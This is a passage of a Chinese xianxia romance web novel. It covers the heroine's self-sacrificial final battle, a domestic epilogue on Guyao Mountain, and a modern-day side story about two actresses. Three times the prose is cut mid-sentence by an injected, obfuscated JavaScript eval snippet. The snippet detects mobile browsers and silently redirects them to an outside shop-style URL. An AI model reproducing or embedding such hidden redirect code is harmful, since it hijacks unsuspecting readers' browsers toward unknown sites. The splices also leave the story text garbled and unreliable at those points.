柳清圆想要冲过去,却因为重伤而无法挪动半步。而在这一瞬间,所有人都因为一股强大的威压而停止了动作,只有柳知微还能活动。 她缓缓蹲下,然后双手捧起了一抷土,手心里开出一朵小白花,从她指尖的血迹中生长出来,白色的花瓣上还沾着她的血。 千百朵花从她脚下的裂缝里绽放,吞噬了那些黑雾和伤疤。这些小花散发出的灵光飘散在空中,治愈着所有人身上的伤痕和弥漫着的怨煞之力。 千万朵花儿如云霞坠落,清冷似月华凝成霜雪,层层叠叠的花瓣舒卷如云,从血泊中升起却不染纤尘,四时之花在同一刻盛放,洒在这片正在崩塌的识海里。 蓝花楹是底色,铺满了天穹与大地,花潮以柳知微为圆心向四面八方奔涌,不同花香交织在一起的馥郁芬芳,浓烈到让人几乎要窒息。 柳知微睁开了眼睛:“老爷爷,还是你快逃比较好吧?” 那双眼睛不再是粉红色的,而是变成了一双琉璃目,倒映着整片花海的万千色彩,却始终澄澈晶莹。 她向前走了一步。 “唉,你的确很厉害,把我逼到绝路了,我现在要关闭识海,自灭神魂了,你是不是很开心?” 云霜简一脸扭曲,想要挣脱那些缠上来的花瓣,却发现自己的黑气正在以肉眼可见的速度消融。四季轮转,生生不息,将他困在原地,寸步难行。 “你疯了!”他嘶吼着,“你这是在自毁!你的识海会彻底崩塌,你的意识会碎成齑粉!你……” “我知道。”柳知微平静地说。 “我知道我在做什么,”柳知微的嘴角还挂着那抹笑容,眼底却有了泪光,“不过原来你也会怕啊?” “没有办法,前世那场天火没有杀掉你,就只能这样结尾了。”她叹了口气,“我也不想死的,不过有你陪葬的也不错。” “可你知道吗,老爷爷?”她说着,漫天百花在这一刻同时盛放到极致,千万种色彩交织成一片璀璨的光海,“你活了千万年,机关算尽,掌控一切,但你从来不懂一件事。” “你以为你足够高明吗?就那么容易杀死了毓娘娘?是她一直在为你考虑,还为你留着后路,甚至把自己也赔了进去。” “当年你与毓娘娘相争,你为了自己的私心,便要将幽都划为己有,你主张向死而生,违逆天命延续灵族,而毓娘娘不愿扰幽都众生安宁,便生生不息,一手缔结了姑媱山,助天地众生皆安宁。可是你却毁了姑媱山,将妖煞之力都引向姑媱山,草木之灵却也堕为妖魔,如今你也反受其噬,你到底在求什么?你有无过后悔,坑害毓娘娘,坑害你至亲的妹妹,又是你亲手葬送了灵族?!” 云霜简冷笑一声:“都要死了还发什么圣母心?我那傻妹妹如此,你们姑媱山一脉也蠢,抱着那点可怜的悲悯,不过是任人宰割罢了。神族灭亡的教训还不够吗?” “当年祖神陨落,灵族日渐衰颓。他们都死了,消散于天地之间,连尸骨都留不下,甚至不如那些卑微的人族。我只是想让大家都活下去,哪怕意识没了,可他们明明都还活着!只要假以时日,我一定能让大家都回来,都能好好地活下去……你们为什么都不信我?!” “吾从不后悔自己所行之事。即便到了这一步,既然选了这条路,就要走到最后一刻,吾身死后那才叫败!” 柳知微叹口气,抬起手轻轻一握。 整片识海的空间开始剧烈收缩,千万种花瓣层层叠叠地合拢。 “瑛瑛!!”柳清圆想冲上前去,却还是因为威压而动弹不得。 “师兄,”柳知微的声音从花海深处传来,变得遥远而空灵,“禁制已经解开了,你带着阿济和师姐还有云缨姑姑快走……” “装比果然很累,我现在要……好好睡一觉了……” 百花齐放的光冲天而起,将整片识海照得亮如白昼。所有的花在同一时刻绽放、凋零、化作漫天飞雨,将那一道又一道的黑气封存在花瓣的脉络里。 沈流商下咒施了个法诀,撕开一道裂隙,而他的视线里最后留下的,是柳知微站在百花中央的身影。 她浑身是血,却像一尊花神。旁边似乎还有两道神女的幻影,她们张开拥抱,柳知微陷入温柔的赐福里。 瑶姬的幻影柔柔地笑起来:“瑛瑛长大了,竟然也成神了啊。” 毓娘娘的幻影分出一道流光包裹住柳知微,在她的鬓边簪上一朵蓝花楹,也笑盈盈的。 两道幻影一同消散了,柳知微眼前终于只剩下一地白雪,目光映透雪光,也似一片白茫茫。 弥留之际,柳知微终于想起上一世的所有。 原来当初在姑媱山她根本没有渡过第三重劫,便是瑶姬仿效了那龙女的做法,献祭了自己,助她成神。她渡劫后睁开眼,便见到云缨姑姑在旁边,庄严地端起那祭祀礼服,请她登上祭台,受天地恩泽,正式成为姑媱山的守护灵。 她问起瑶姬的下落。云缨姑姑说,瑶姬大人要向凌霄神殿复命,以达天听。她将信将疑,却还是穿上了那身繁复的礼服,模仿记忆中瑶姬大人的风姿,独自跳起了祭祀的舞蹈。 然而她脑子里乱糟糟的,塞满了想不通的事。 静时姐姐呢?出嫁这么大的事,怎么连送都不让送?那缕心念到现在还梗在她心头,解不开也放不下。 瑶姬大人呢?明明盼这一天盼了那么久,怎么偏偏这个时候不在? 还有师姐,昨天都拉钩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576359|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百年不许变了,她还叫了沈师哥来看的。花朝祭啊,他们就这么不喜欢吗?连来都不肯来。 还有那个沈师哥的小道侣。整天腻腻歪歪的,不是他出的主意,让她去请沈师哥吗?还让她喊嫂嫂,她喊了,老老实实地喊了。结果呢?一个都没来。 她咬着嘴唇,眼眶发酸。 骗子,都是骗子!都把她当小孩哄呢! 台下的信众翘首以盼,渴望着她带来新生。她以古语吟唱祭词,目光掠过众生,掠过那些渐渐焦黑的祭品。忽然,一个孩子从高台上纵身跃下,她没有阻拦,只是静静看着那孩子与身为祭品的母亲紧紧相拥,在火焰中化为灰烬。 云缨姑姑勃然大怒,下令再杀三千祭品以平息天怒。柳知微垂下眼睫,随后,在所有人的注视下,她引来了天火。 那一瞬间,她终于明白了。楼静时留下的信息告诉她龙族如何覆灭,也昭示着灵族终将步其后尘。 可灵族真有存在的必要吗?上古大神不也曾以身殉道,明知不可长存而未曾眷恋神位?灵族本依大地而生,人间亦复如是。 天地何曾需要灵族守护?灵族何曾守护天地?他们仍在掠夺,仍在征伐,面对威胁便压迫屠戮,而这与他们深恶痛绝的精怪鬼煞,又有何异? 就在即将成功之际,她引来了天火,要烧尽自己,烧尽姑媱山,让灵族就此终结,让天地重归它本来的轨迹。 可是烧到一半,她居然看见了柳清圆的幻影,那时候柳清圆早就不告而别走了,她想不通为什么要留下她一个人在长生天,现在她明白了,居然那时云霜简突袭九幽,她迫不得已自毁神魂散落于三千小世界里了。 柳知微也是那时候才知道,原来神魂自灭时,能看见想念之人的幻影。 “我修的是生死道,”那个幻影的声音穿过火焰,“以前一直都是为一个人而死。死过去又活过来,都要烦死了,后来我才明白,那不是我想修的,原来我想修的,是为一个人活。” 毓娘娘选中了九幽,以息壤塑造了柳清圆的身体,原是想要与云霜简一起行道,可是柳清圆诞生以后,她忽然想明白了很多事,最终选择了与云霜简背道而驰。 柳清圆被带到人间来,她独自一人在这世间来来回回走了许多趟。她做过花神弟子,做过逃难流民,做过高贵神女,也做过精怪鬼煞。这一圈圈的因果转下来,原是为了让她悟道,这本应是她的劫数。 如今柳知微破了这劫,才是真正的生门。 柳清圆说,“瑛瑛,你要跟我一块活着。” 柳知微静静望着她,天火烧着了她的衣角,烧着了她的发梢,随即诅咒应声而起。这个诅咒能护住她的魂魄转世,借同心契约与圆圆重逢,这是她从沈流商那里学来的。 “我放弃神给我的赐名,放弃洛闻瑛的姓氏。” “我自尘埃之微而来,知其微小,达其深远。” “从今往后,我自冠名柳知微,归于人间之地,再不为神明。” 71. 长相思兮长相忆 小世界融合后的第五百年,姑媱山重新立起了山门。 说是山门,其实就是两块青石头,是柳知微从后山溪边捡来的,柳清圆嫌它们长得太丑,拿刻刀修了三天三夜,愣是把两块丑石头雕成了两只蹲着的小狐狸。 “这叫镇山神兽。”柳清圆很严肃地说。 柳知微围着那两只“神兽”转了三圈,怎么看怎么像山下王屠户家那条黄狗。 “师姐,”她憋着笑,“狗能镇山吗?” 柳清圆瞪她一眼:“这是狐狸。” “哦,狐狸。”柳知微点点头,指着其中一只的耳朵,“那这只狐狸的耳朵怎么是耷拉着的?” 柳清圆沉默了。 那天下午,她蹲在山门口,拿刻刀对着那只耷拉耳朵的狐狸又刻了半个时辰。柳知微就坐在旁边的石头上嗑瓜子,一边嗑一边看她,偶尔递过去一颗。 “尝尝,山下张婶儿新炒的,五香味儿。” 柳清圆接过去嗑了,然后继续刻。 太阳落山的时候,那只狐狸的耳朵终于立起来了,虽然立得有点歪,左边比右边高了半寸。 柳知微凑过去看了半天,认真点头为柳清圆捧场:“好看,比早上好看多了,师姐好厉害!”然后勾着柳清圆的脖子吧唧一口。 柳清圆盯着那两只歪耳朵狐狸,两个人抱在一起笑。 山风吹过来,带着姑媱山特有的草木清香,和山下飘来的炊烟味儿混在一起。姑媱山灵气充盈,她们收留了好多流民和孤儿,让他们在这里扎根,又过了几年,人家做饭的时候她们就找准时机去蹭饭,后来次数多了,还有小孩儿在巷子里跑着专门去喊她们吃饭。 久而久之,老蹭饭家柳知微都有点不好意思了,然后某一天下定决心要自食其力。 “师姐”柳知微说,“回家吧,我给你做饭。” 柳清圆正在种花,她站起来,随手拍了拍裙摆上的泥巴,便很自然地牵住她的手。 “我来做,想吃蹄花汤吗?” 柳知微脚步一顿。 “离山那家的?” 柳清圆笑得眼睛弯起来:“我偷师了。” 在人间重建姑媱山比想象中要难上许多,因为她们商量好了,一砖一瓦都要由自己亲手建,不再使用法术。 没有法术的一切都太过脆弱了,一场风雨过后,房子就塌了大半,得重新盖。柳知微画图纸,柳清圆搬木头,两个人忙活了一个月,才勉强把主殿修好。主殿修好之后,柳清圆说太累了,先歇歇,剩下的慢慢来。 这一歇就歇了好久。 又是十年过去,姑媱山上还是只有那一间主殿能住人。其他地方的残垣断壁长满了杂草,春天的时候会开一些不知名的小野花,白的黄的紫的,星星点点,倒也好看。 柳知微偶尔会念叨两句,说什么时候把偏殿也修一修,以后好收徒弟,补贴点家用,也是给人们一些自保的能力,更好地生活下去。 柳清圆每次都说好,明天就动工,然后明天永远都是明天,柳知微也就不提了。 徒弟嘛,收不收的,也没什么要紧。反正她俩在山上清清静静地当野人就够了,要是有弟子啊,每天只能体会大自然风光,漫山遍野挖土吃。 这些年来聚集在山下的人越来越多,竟然发展出了一个小镇,每逢佳节便要热热闹闹地办一场庙会,柳知微和柳清圆便腻腻歪歪地拉着小手去逛街,只是套圈的时候柳清圆不会再用灵力当老赖了,多次以后熟能生巧,她已经能百发百中。 这小镇上住着百十来户人家,多是普通人,也有几个小修士,都是散修,修为低得很,见了她们就恭恭敬敬喊一声“前辈”。 柳知微最开始不习惯,后来就习惯了。每次下山买菜,那些大婶儿们就“仙子”“仙子”地喊她,喊得她直害臊。 “别喊仙子,喊小瑛就行。” “那可不行,”方婶儿摆摆手,“您是仙门的人,怎么能喊小瑛呢。” 柳知微哭笑不得,后来就不说了,爱喊什么喊什么吧。 方婶儿家在镇子东头,有个小院子,平时种些菜拿到市集上去卖,不卖菜的时候就拿出药膏来好好护理自己的手,不让留茧子。她男人姓林,是个樵夫,勤俭持家,吃苦能干,更是把老婆宠上天了,镇子里都晓得他是个远近闻名的“耙耳朵”。 方婶儿也爱说八卦。 谁家儿媳妇生了个大胖小子,谁家闺女跟隔壁镇的后生看对了眼,谁家老头儿偷藏私房钱被老婆发现了,谁家婆媳又吵架了……她都知道,讲起来绘声绘色,比说书的还精彩。 柳知微很爱听。 夏天晚上,暑气消了,她就牵着狗儿,柳清圆就抱着猫儿,她俩一起下山,就坐在方婶儿家院子里,一边嗑瓜子一边听她讲那些家长里短。柳清圆嫌吵,不爱来,但每次柳知微去,她也跟着去,就坐在旁边安安静静地剥瓜子,剥一小把就往柳知微手心里放。 方婶儿看见了,就笑:“仙子好福气,你家这口子是真疼恁。” 柳知微把那一小把瓜子倒进嘴里,嚼得咯嘣响,眼睛弯成两道月牙。 “那是。” 猫狗都是在山脚下捡的。 一只黄毛小土狗,旁边就蜷着一只金色的猫儿给它取暖,看着可怜兮兮地,要是不管估计都活不过那个冬天。 狗刚捡回来的时候瘦得皮包骨,饿得狠了,见什么都咬。柳知微的鞋被咬坏三双,柳清圆的裙摆被咬出了好几个大洞。 柳清圆气得要扔它出去。 柳知微拦住了,蹲下来,看着那只缩在角落里、浑身发抖的小黄狗,沉默了很久。 “它怕。”她说,“它怕我们也不要它了。” 小狗看着她们,眼睛里汪着一包泪,呜咽着不敢动。 柳知微叹了口气,伸出手,轻轻摸了摸它的脑袋。 “不扔,”她说,“留下来,跟我们一起过。” 小狗好像听懂了,尾巴摇得像风车,快得立刻原地起飞转了三圈。 猫是自己跟上山的,也不怕人,就蹲在山门口那只歪耳朵狐狸旁边,一蹲就是一整天。 柳知微出门的时候看见了它,它冲她喵了一声。 柳知微站住了,一人一猫对视了很久,然后柳知微弯下腰,把它抱了起来。 “这只也留下。”她说。 柳清圆没意见。 于是姑媱山就有了狗,也有了猫。 狗叫芝麻,猫叫洛洛。 芝麻爱黏着柳清圆,洛洛爱黏着柳知微。白天她们出门买菜,芝麻就跑在前面,尾巴摇来摇去,洛洛就趴在柳知微肩膀上,懒洋洋地晒太阳。晚上吃完饭,她们牵着芝麻出门遛弯,洛洛就蹲在门口等,等她们回来,喵一声,在她们脚边蹭来蹭去。 日子就这么一天一天过,平淡得很,也安稳得很。 偶尔会有客人来。 沈流商的墓在姑媱山后山,是谢济泫亲手立的。 说是墓,其实就是一块石碑,上面什么字也没刻,底下埋着一支五彩鸾羽,那算作沈流商的一件遗物。啾啾是师哥的灵宠,师哥消失以后,啾啾的灵也消散了,可是却留下了这一支鸾羽,不腐不朽,似乎在暗示着什么,于是谢济泫一直没有放弃过寻找。 那人每年会来一次,或许是久了,他也越来越像人,会过起人间的节日来了。 清明的时候,他就会来看看那块碑,探一下地下的灵有没有凝聚的时候。 柳知微她们一直在远远地看着他,他走的时候会路过山门,跟她们说些话,然后下山。 柳知微喊他嫂嫂,问他要不要进来坐坐。 他摇头说:“幽都那边走不开。” 谢济泫大部分时候守在幽都,因为他成了那里真正的神,却依旧不为天地所认。因为现在的世界是为共序之地,万物皆可以做自己的主了。 现存的神仙都要失业了。 柳知微看着他的背影消失在雾气里,忽然有点难过。 “他好像越来越……”她想了想,不知道该怎么形容。 柳清圆接道:“不像神了。” 柳知微沉默。 “龙族寿数长,”柳清圆说,“长到一定程度,和神就不一样了。” “师姐,你说我们瞒着嫂嫂真的好吗?师兄他明明已经回来了,但是却死命瞒着他,说什么天命不该,要是再出现在阿济身边会让幽都再起波澜,因为他已经是一个本该陨落的神,世界重建后会有新的天道,他不能再出现于世间。” 原来沈流商当初留了后手,早在禁制中悄然布下转圜之机。柳知微神魂将散的那一刻,他拼尽一切将人从湮灭边缘拽了回来。 他强制启动祭阵,以血肉之躯挡下云霜简的绝命一击,灵窍受了重创,身体也随之灰飞烟灭。但沈流商与幽都本源相连,体内更有谢济泫留下的一颗不灭心魄,死而不散。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576360|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那之后的五百年,是柳知微以草木之灵和己身魂力,一滴一缕地炼化再造,终于为他重塑了身躯,将沈流商从幽冥尽头带回了人世。 “我说这就是歪理嘛!世界还是靠着我们重建的呢,那天道也算是咱们的儿子才是,哪有儿子管得住老子的?而且这对阿济多不公平呢……” 柳清圆点头表示支持,宽慰道:“一个世界运行需要法则规束,他这样做也是情理之中。不过我看他也是心虚得很,毕竟是他先对人家始乱终弃的,现在又不敢面对人家很正常。” 柳知微不知道说什么好,过了很久,她轻轻叹了口气。 “今天晚上的饭由我来做吧。” 柳清圆看了她一眼,忽然僵硬地笑了。 “额……鹅鹅鹅,曲项向天歌~” 山下的人们真是很热情,逢年过节会送些自己做的吃食上来,枣糕、粽子、月饼,都是自家做的,柳知微吃着香,脸都胖了一圈,后来某一天晚上,柳清圆掐着她的腰黑了脸,便开始督促她勤加锻炼,柳知微便过了一段十分痛苦的日子。 偶尔柳知微会想起从前的事。 想起瑶姬,想起云缨,想起那些死去的同门。会猜第三重考验时瑶姬替她献祭时究竟是什么样子,想起云缨最后看她的那一眼。 那些事想起来会疼,但她还是想。 “想她们的时候,”柳清圆说,“就种一棵花。” 于是姑媱山上多了很多花。 蓝花楹最多,是柳知微种的。她说蓝花楹好看,花开的时候满树都是蓝的,风吹过,花瓣落下来,像下了一场蓝色的雨。 柳清圆种的杂,什么都有。山下的野蔷薇,后山的映山红,溪边的菖蒲,还有从方婶儿家挖来的两棵月季,红的一棵,粉的一棵。 柳知微有时候会坐在院子里发呆,看着那些花,看着看着就笑了。 她想起很多年前,她刚上长生天的时候,也种过花。忘了那时候种的是什么,就种在师姐的窗台下,天天浇水,盼着它开花。后来开了,粉粉嫩嫩一小朵,她高兴得拉着圆圆看了半天。 柳清圆当时说了一句话,她到现在还记得。 “以后我给你种很多很多花。” 现在果然有很多很多花了。 柳知微转头看向旁边的人。 柳清圆正蹲在月季旁边,拿着剪刀在修剪枝叶。阳光从头顶洒下来,落在她身上,给她镀了一层毛茸茸的金边。 芝麻趴在她脚边打盹,尾巴偶尔摇一下。洛洛蹲在墙头,舔着自己的爪子,舔得很仔细。 远处山下,炊烟袅袅升起,有人在喊孩子回家吃饭,柳知微忽然觉得心里塞了一团棉花,软软绵绵,舒舒展展的。 “师姐,”她喊。 柳清圆抬头:“嗯?” 柳知微张了张嘴,想说什么,又觉得什么都不用说。 她只是笑了笑。 “没什么,”她说,“就是想喊你一声。” 柳清圆看了她一会儿,放下剪刀,走过来,在她旁边坐下。 芝麻被吵醒了,抬起头看看她们,又趴下继续睡。 柳清圆伸出手,把柳知微的手握住,十指相扣。 阳光暖暖的,风吹过来,带着花香。柳知微把头靠在她肩上,闭上眼睛。 柳知微:“师姐。” “嗯。” “明天我们做什么?” “你想做什么?” 柳知微想了想。 “种花吧,”她说,“再种一棵蓝花楹。” 柳清圆:“好。” “然后下午下山买菜,晚上去方婶儿家听八卦。” “好。” “然后遛狗。” “好。” 柳知微笑了一声,往她肩上又蹭了蹭。 “师姐,今晚上我要在上面。” 柳清圆:“嗯……嗯?!” 柳知微调皮地吐了吐舌头,做了一个鬼脸:“师姐真不禁逗。” 风轻轻吹过,蓝花楹的花瓣飘落下来,落在她们脚边,芝麻趴着正睡得香甜,洛洛蹲在墙头长长的尾巴一甩一甩的。 天色渐渐暗下来,远处传来方婶儿家的小娃儿喊她们吃晚饭的声音。 柳知微抬起头,看着柳清圆的眼睛,那里面映着夕阳,暖融融的。 “师姐,”她笑了起来,“还是一起去蹭饭吧。” (正文完结) 72. 主cp现代番外1 柳知微。 柳清圆。 《神女倾世无双2之嫡女凰罢天下》杀青发布会后,这两个名字毫无悬念地一起上了热搜。 然而出乎意料的,并不是因为柳清圆扮演的女主跟五个男主的爱恨纠葛多么缠绵悱恻,让观众们嗑生嗑死的,是她跟柳知微扮演的那个恶毒女配,那个惹人厌的假千金。 这可算是破天荒头一遭,电视剧发布会的时候,那些媒体采访的话筒恨不得直接怼到两个人脸上。 “柳清圆老师,请问您对‘花瓶’这个标签怎么看?” 柳清圆偏了偏头,笑得温婉大方。她身着黑色高定,妆容冷艳,锁骨线条锋利,整个人高贵而疏离——如果忽略那攥紧的拳头,正蓄势待发,准备下一秒就挥到那人脸上把他揍扁的话。 她身旁的柳知微倒是笑得甜,一身鹅黄连衣裙,活脱脱从剧里走出来的受尽宠爱的千金小姐,看着娇俏无辜,实则就一肚子坏水。 找茬的记者把话筒转向她:“柳知微老师,您这次演的是恶毒女配,手段狠辣、心机深沉,会不会担心观众代入太深,影响到您本人的形象?” 柳知微眨眨眼,语气乖巧得不行:“不会的,我一定演好标准的恶毒女配,让观众恨得牙痒痒,才算对我演技的认可嘛!”说着往柳清圆那边亲昵地靠了靠,笑着望她,又眨眨眼,像在撒娇着要糖吃。 众人:“!!!”你们不是真假千金的死敌关系嘛! 话音刚落,一向高冷的柳清圆忽然极轻地笑了一声,随即垂下眼,又端回了那张冷淡的脸。 吃瓜群众:“!!!!!!”正主别放饭了已经吃撑了! 但是已经晚了,她们的一举一动都被摄影机录得清清楚楚。 记者们瞬间炸了。 “柳清圆老师,您笑什么?” “是对柳知微老师的发言有什么不同看法吗?” “两位在剧外也是这种相处模式吗?” “您更pick哪位男主呀?听说您要和知微、沈流商、谢济泫一起上恋综,这是真的吗?” 柳清圆沉默了几秒,拳头攥得咯吱响,被柳知微好容易按了下来。她深吸一口气,按着剧本开始演。 “以后这种话不用再问了,”她定定地看着柳知微,眼尾微弯,唇角噙着一抹似笑非笑的弧度,语气慢悠悠的:“说实话,比起跟五位男主的爱恨纠葛……” 她顿了顿,唇边笑意更深了些。 “我确实更喜欢我的二妹妹。” 柳知微的笑容当场僵住,拼命朝柳清圆使眼色试图救场,用口型拼出一句:“ber——不是,玩这么大吗?”换来的却是柳清圆一个更加不怀好意的笑。 当天晚上,“柳清圆x柳知微”这个词条直接冲上热搜第一,CP粉一夜之间暴涨,各大粉丝纷纷为这对CP做饭产粮,宣称嗑cp到宇宙毁灭的那一天。 经纪人楼静时将通告单往桌上一拍,脸色复杂:“你们俩悠着点,这段时间少同框,先避一避。热度全被你们占了,其他五个男主跟清圆的cp还怎么推?” 柳清圆窝在沙发里,面无表情地刷着手机,不知在看什么。柳知微偷偷看过去,恰好对上她的目光,顿时慌乱地移开视线。柳清圆眼里霎时盈满笑意,高冷人设彻底崩塌。 柳知微坐在另一头,抱着杯热可可,想起白天发生的事情还是羞得很,脸上红红的,小声嘟囔着,语气里带着几分委屈:“静时姐姐别气啦,这个热度,不正好给下次那个恋综预热嘛?” 楼静时无奈捂脸:“小瑛儿,话不能这么讲嘛……上部《神女倾世无双》大家多嗑你和沈流商,这下直接改成女主配女配,那帮男配还不内部消化了?干脆直接大乱炖得了!” 柳清圆头也没抬,手指在手机屏幕上不停刷新着她俩的CP超话,嘴上却故作冷淡地接了句:“大乱炖不行,瑛瑛得归我,百合倒可以。” 楼静时:“……”她个牛马容易嘛!这俩祖宗! 柳清圆不急不慢地凑过来,语气里带着几分撩拨:“瑛瑛,从了姐姐呀?” 柳知微“啪”地把脸埋进胳膊里,露出的耳尖红得要滴血。 柳清圆弯起眼睛,得逞似的将那杯热可可推到她面前,指尖轻轻点了点杯壁。瞧见柳知微这副模样,她本想再说几句调笑的话,却又不肯将人欺负得很了,便住了话头。 楼静时正痛苦地嚼着狗粮,感觉自己这盏电灯泡瓦数惊人,亮得能照亮全场。手机忽然响了起来,她如蒙大赦地掏出来一看,屏幕上跳出她那位“网恋男友”的名字,当即翻了个白眼。 说是男友,其实也就是在网上随便聊聊,对方说话一口一个霸道总裁的调调,她估摸着不过是个中二小屁孩,压根没往心里去。直到上次她随口说了句“有本事看看实力”,对方还真甩过来一份简历,排版工整得跟要应聘牛马似的。 那照片更离谱,一看就是网图,还是个业内大佬的图,楼静时只觉得这小屁孩胆子不小,也不怕被告。 她当即回了个五毛钱巨款,叫这小孩儿拿去买棒棒糖治病吧,然后干脆利落地提了分手。对方沉默了好几天,今天突然冒出来,说要面基,还约在一家高档餐厅。 楼静时琢磨着,蹭顿饭又不少块肉,不去白不去,毕竟当牛做马累死累活,还要伺候家里那两个不敬业的“祖宗”,她这点小心思再不满足,人生也太绝望了。她甚至提前备好了两三套礼服,打算趁着这顿高端饭局,把一年四季的朋友圈照片一次性攒够。 电话第一次打过来,对方刻意压着嗓子,装出一副忧郁男低音,问她几点到。楼静时这才猛地想起蹭饭的正事,匆匆叮嘱了柳知微她们两句,便急急忙忙地出了门。 柳知微终于抬起头,忍不住开口:“清圆姐,我是不是有点笨?总是惹得静时姐姐不高兴……” 柳清圆摸了摸她的头,果断摇头:“没有。真要算,那也是我的锅。” 柳知微抿了抿嘴,想到刚才被逗得那么狼狈,准备在这儿扳回一局,便佯装生气道:“是哦,那你刚才笑什么?怎么不按剧本来?我去亲近你,你该把我推开再甩张臭脸才对啊,咱现在可是死敌关系。” 柳清圆没回答。她站起来,走到柳知微面前,居高临下地看着她。柳知微往后缩了缩,怀里的可可差点洒出来。 “你说要演一个标准的恶毒女配。”柳清圆的声音很平静。 “……对啊。” “标准的恶毒女配,应该恨女主。” 柳知微眨了眨眼:“……所以呢?” ……(此处上车了) “还是因为……” “你怕我真的会死在你面前?” …… “柳莺娘舍不得她的大姐姐,”柳清圆低头看她,目光从她泛红的眼角慢慢滑到那咬紧的嘴唇,又落回她剧烈起伏的胸口,缓缓靠了上去,声音充满诱惑,“那柳知微呢?” “我舍不得你啊,圆圆。” 柳知微颤抖着接下了话,手一软,可可杯“砰”地落在桌面上,溅出的水弄湿了她的黄色连衣裙,薄薄的布料紧贴肌肤,勾勒出温软的轮廓。 “圆圆,我们……公开吧?” 她眼眶泛红,睫毛湿漉漉地幸福地颤着。她张了张嘴,还没来得及出声,柳清圆已收回了手。 柳清圆直起身,退开半步。她垂眸看了看自己的指尖,唇角微微一弯,眼底却幽深如寒冰。 她心底暗叹:果然是有备而来,连她想做什么都迎合得这般妥帖,不知又是哪一方势力送来的。不过既敢到她身边来,就别想着全身而退了。 “去补个妆,”柳清圆若无其事地偏开脸,顺手抽了张纸巾递过去,“脸太红了。” 柳知微接过纸巾,手指还在抖。窸窣声中,她低头看着裙摆上被揉皱的痕迹,整张脸沾满了绯红色,努力抑制住咆哮着的不甘心,抬起头又是那副娇俏可怜的模样。 然而柳清圆已经平复心绪,只是端起自己的咖啡喝了一口,没再说什么,转身拿起包,走到门口停了一下。 “这几天休假,别乱跑,媒体盯着。” 柳知微只是乖乖笑着抱了一下她,然后柔柔回道:“清圆姐,是喜欢瑛瑛的吧?瑛瑛绝对听你的话。” 她点点头,门便关上了。 柳知微撑着下巴发了十分钟呆,然后掏出手机,给柳清圆发了条消息。 “清圆姐,我能受得住的,真的。” 已读,没回。 柳知微盯着屏幕看了五分钟,把手机翻过去扣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576361|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在桌上,小声骂了句:“柳清圆你这个木头。” “……花瓶。” 尾音却越来越轻,最后变成闷闷的一句:“……好看的那种花瓶。” 晚上,柳知微在自己公寓里翻来覆去睡不着,爬起来打开床头柜的抽屉,里面躺着一本旧笔记本。 第一页正中央,一个圆润小巧的兔子掌印旁画了只小兔子。那是柳清圆送给她时画的,那时还说会来找瑛瑛,叫瑛瑛千万别忘了她。可等她如约再见到柳清圆时,那人好像已经不太认得她了。从那以后,只要柳清圆惹她不高兴,她就在那页上写一句她的坏话。 柳知微笑了笑,下意识把自己的手覆在那个小巧的掌印上。 笔记本突然亮了。 上面浮现出一行字—— “瑛粉粉,粥粥温。” 柳知微盯着这行字看了三秒,一扫心中愁绪,然后装作生气地问:“柳清圆,你好大的胆子!你竟然敢忘记我!” 字迹消失了,新的字迹浮现:“没有忘记。” 柳知微皱眉:“还是个撒谎精,那你认不出我!” 这本笔记下了护身法咒,还存了一缕活的灵魄在里面,可以和指定的人交谈自如,就像当初的圆圆陪在她身边一样。 对面沉默了一会儿。然后—— “因为我还不够喜欢你。” 柳知微手指一抖,差点把笔记本扔出去。她死死盯着那行字,只觉得它又欠揍又冷淡。 “……那究竟要怎样做?”她小声问。 笔记本没有回答。 但新的字迹自己浮现出来,一笔一画,像有人在慢慢地写。 “你没有遵守约定。说好的,你必须回姑媱山,好好生活,继任神女之位,要安稳幸福地活下去。” “你为了找我,偷偷离家出走。我不喜欢这种为你担心的感觉。” “回去吧,别再为我奔波了。” 柳知微把笔记本扣在床上,双手捂住脸。过了很久,她重新翻开笔记本,拿起笔,认认真真在空白处写: “那又怎样。” 写完又觉得不够,加了一句。 “我就是舍不得,不行吗?” 字迹刚落下,笔记本上立刻浮现出新的回应,快得像是有人一直在那边等着她的回答。 “行。” 柳知微盯着这个字,鼻头突然一酸。 然后又浮现出一行。 “但你得承认。” 柳知微:“承认什么?” “承认你喜欢我,比喜欢那五位男主、楼静时、沈流商……他们所有人加在一起,还要多。” 柳知微气得把笔摔了。 她顿了顿,又赌气似的补上一行字:“你不喜欢我,凭什么要我先低头?就算要表白,也得是你先开口!” 写完自己先笑了,笑着笑着又想哭。她把笔记本抱在怀里,连洛洛都被她冷落在一旁。 过了好一会儿,她重新翻开,在最后一行字下面,用很小的字写下来。 “……嗯,我承认。” 